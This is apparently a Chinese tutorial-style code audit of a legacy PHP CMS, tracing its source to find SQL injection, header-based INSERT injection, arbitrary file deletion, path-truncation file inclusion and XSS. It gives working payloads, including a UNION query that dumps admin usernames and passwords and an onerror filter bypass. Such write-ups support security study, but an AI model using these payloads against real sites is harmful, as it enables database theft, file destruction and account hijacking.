赞
踩
把源码下载到本地,访问网站的/install目录安装即可
ad_js.php
<?php define('IN_BLUE', true); require_once dirname(__FILE__) . '/include/common.inc.php'; $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; if(empty($ad_id)) { echo 'Error!'; exit(); } $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id); if($ad['time_set'] == 0) { $ad_content = $ad['content']; } else { if($ad['end_time'] < time()) { $ad_content = $ad['exp_content']; } else { $ad_content = $ad['content']; } } $ad_content = str_replace('"', '\"',$ad_content); $ad_content = str_replace("\r", "\\r",$ad_content); $ad_content = str_replace("\n", "\\n",$ad_content); echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n"; ?>
包含了php文件
require_once dirname(__FILE__) . '/include/common.inc.php';
如果
$ad_id
不为空的值,就把$ad_id
字符串首尾去除空白字符
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
这里有个sql语句可能sql注入漏洞
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
这一段主要是判断如果
time_set
字段等于0的时候,会输出查询的content
字段当
end_time
字段小于time()函数返回的时间戳,会输出查询的exp_content
字段否则的话输出
content
字段
if($ad['time_set'] == 0) { $ad_content = $ad['content']; } else { if($ad['end_time'] < time()) { $ad_content = $ad['exp_content']; } else { $ad_content = $ad['content']; } } echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
/inclue/common.inc.php
跟进/include/common.inc.php
看看有什么过滤
这里是包含了一堆函数的php文件
require_once (BLUE_ROOT.'include/common.fun.php');
require_once(BLUE_ROOT.'include/cat.fun.php');
require_once(BLUE_ROOT.'include/cache.fun.php');
require_once(BLUE_ROOT.'include/user.fun.php');
require_once(BLUE_ROOT.'include/index.fun.php');
这里如果没有使用魔术方法,会给 P O S T , _POST, POST,_GET, C O O K I E , _COOKIE, COOKIE,_REQUEST的值使用deep_addslashes()函数
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
跟进deep_addslashes($str)函数
函数的主要功能就是如果$str参数是数组,就遍历循环数组把数组的值调用deep_addslashes()函数
当不是数组的时候,返回addslashes($str)的值
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}
addslashes()函数功能
过滤单引号(')、双引号(")、反斜线(\)与 NUL(null 字符),在前面添加反斜线(\)
代码分析的差不多了,返回看ad_js.php
的这句sql语句,使用addslashes过滤了我们传入的参数,引号可以使用unhex()函数十六进制来绕过
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
前面有分析过,当我们time_set
字段为0的时候,输出查询content
字段的值
爆出表名
?ad_id=-1 union select 1,2,0,4,5,group_concat(table_name),7 from information_schema.tables where table_schema=database() --+
blue_admin
表的字段名因为过滤了引号,使用hex函数加密,因为一次hex还有字符串,可以使用双重hex()加密
?ad_id=-1 union select 1,2,0,4,5,group_concat(column_name),7 from information_schema.columns where table_name=unhex(unhex(3632364337353635354636313634364436393645))--+
?ad_id=-1 union select 1,2,0,4,5,group_concat(admin_id,0x3a,0x3a,admin_name,0x3a,0x3a,pwd),7 from blue_admin--+
comment.php
这里有个insert语句,且调用了这条$sql语句,ip的值为getip()函数
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')"; var_dump($sql); $db->query($sql); if($type == 1) { $db->query("UPDATE ".table('article')." SET comment = comment+1 WHERE id = ".$id); } elseif($type == 0) { $db->query("UPDATE ".table('post')." SET comment = comment+1 WHERE post_id = ".$id); } if($_CFG['comment_is_check'] == 1) { showmsg('请稍候,您的评论正在审核当中...','comment.php?id='.$id.'&type='.$type); } else { showmsg('发布评论成功','comment.php?id='.$id.'&type='.$type); } }
跟进getip()函数
可以看到ip可以被X-Forwarded-For伪造,且没有对它进行过滤
function getip() { if (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } elseif (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('HTTP_X_FORWARDED')) { $ip = getenv('HTTP_X_FORWARDED'); } elseif (getenv('HTTP_FORWARDED_FOR')) { $ip = getenv('HTTP_FORWARDED_FOR'); } elseif (getenv('HTTP_FORWARDED')) { $ip = getenv('HTTP_FORWARDED'); } else { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; }
构造payload:
X-Forwarded-For:1','1'),('','2','3','1','3',(database()),'1','1
因为回显在comment字段,想要爆出数据库这样的sql语句就是:
INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '1', '1', '0', '0', '11', '1645319447', '1','1'),('','2','3','1','3',(database()),'1','1', '1')
查询密码
X-Forwarded-For:1','1'),('','2','3','1','3',((select group_concat(admin_name,0x3a,0x3a,pwd)from blue_admin)),'1','1
publish.php
elseif($act == 'del_pic')
{
$id = $_REQUEST['id'];
$db->query("DELETE FROM ".table('post_pic').
" WHERE pic_path='$id'");
if(file_exists(BLUE_ROOT.$id))
{
@unlink(BLUE_ROOT.$id);
}
}
unlink(string $filename, resource $context = ?): bool
filename
文件的路径。
代码未进行过滤,将接收到的$id直接传入unlink函数,如果文件存在,达到我们任意文件删除的目的
在我们文件夹下创建一个test.txt
尝试删除test.txt
publish.php?act=del_pic&id=test.txt
test.txt已经被删除了
user.php
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('对不起,您没有选择支付方式');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}
php截断有三种方式:
需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效
php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
php 版本小于 5.2.8 可以成功,只适用 windows,点号需要长于 256
?file=../../../../../../../../../boot.ini/………[…]…………
这里因为文件都有addslashes()函数过滤,不能用%00截断
目录下创一个test.txt
payload:
user.php?act=pay
[POST]
pay=../../test.txt..................................................................................................................................................................................................................................................................................................................................
user.php
未对参数做任何过滤
elseif($act == 'edit_user_info'){
$user_id = intval($_SESSION['user_id']);
if(empty($user_id)){
return false;
}
$birthday = trim($_POST['birthday']);
$sex = intval($_POST['sex']);
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
$qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
$mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
$office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
$home_phone = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';
电子邮件地址处:
<script>alert('xss')</script>
XSS成功
MSN处:
"><script>alert('111')</script>
XSS成功
elseif ($act == 'do_add_news') { include_once 'include/upload.class.php'; $image = new upload(); $title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : ''; $color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : ''; $cid = !empty($_POST['cid']) ? intval($_POST['cid']) : ''; if(empty($cid)){ showmsg('新闻分类不能为空'); } $author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name']; $source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : ''; $content = !empty($_POST['content']) ? filter_data($_POST['content']) : ''; $descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90); if(isset($_FILES['lit_pic']['error']) && $_FILES['lit_pic']['error'] == 0){ $lit_pic = $image->img_upload($_FILES['lit_pic'],'lit_pic'); }
可以看到$content字段使用了filter_data()过滤函数
$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';
跟进filter_data()函数,正则过滤了一些字符
function filter_data($str)
{
$str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
return $str;
}
使用img标签绕过
<img src=1 onerror=alert('xss')>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。